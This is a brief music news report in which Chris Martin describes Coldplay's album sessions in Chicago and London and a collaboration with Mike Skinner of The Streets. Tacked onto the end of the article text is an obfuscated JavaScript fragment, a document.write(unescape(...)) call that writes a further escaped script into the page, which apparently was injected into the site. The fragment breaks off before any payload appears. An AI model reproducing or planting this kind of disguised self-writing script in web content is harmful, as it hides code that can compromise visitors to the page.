Coldplay record album before the plane crashes

Chris Martin has revealed that Coldplay have recorded a collaboration with Mike Skinner from The Streets.

Speaking on the official Coldplay website, Martin explained that he feared that ‘A Rush Of Blood To The Head' may be the band's last record (a worry he experienced after completing his debut ‘Parachutes') but things are finally moving forward.

“We started the recording process,” he explained, “after the last album was finished, I went through about three months of thinking there wouldn't be another album.

“We actually started writing, so now we've been writing songs for this next record for 18 months now and we've probably written about 60 and ditched about 52 of them. So we did some work in Chicago, we did quite a lot in Chicago already actually.”

Some members of the band intermittently worked in Mayfair Studios in North London, and during those sessions that Martin ended up with Mike Skinner from The Streets (who previously accepted their National Music Award on their behalf last month).

“I was desperate to record some new songs. We recorded enough of them to make sure that if our plane goes down, they can be finished. Now we've definitely made enough for a box set."document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22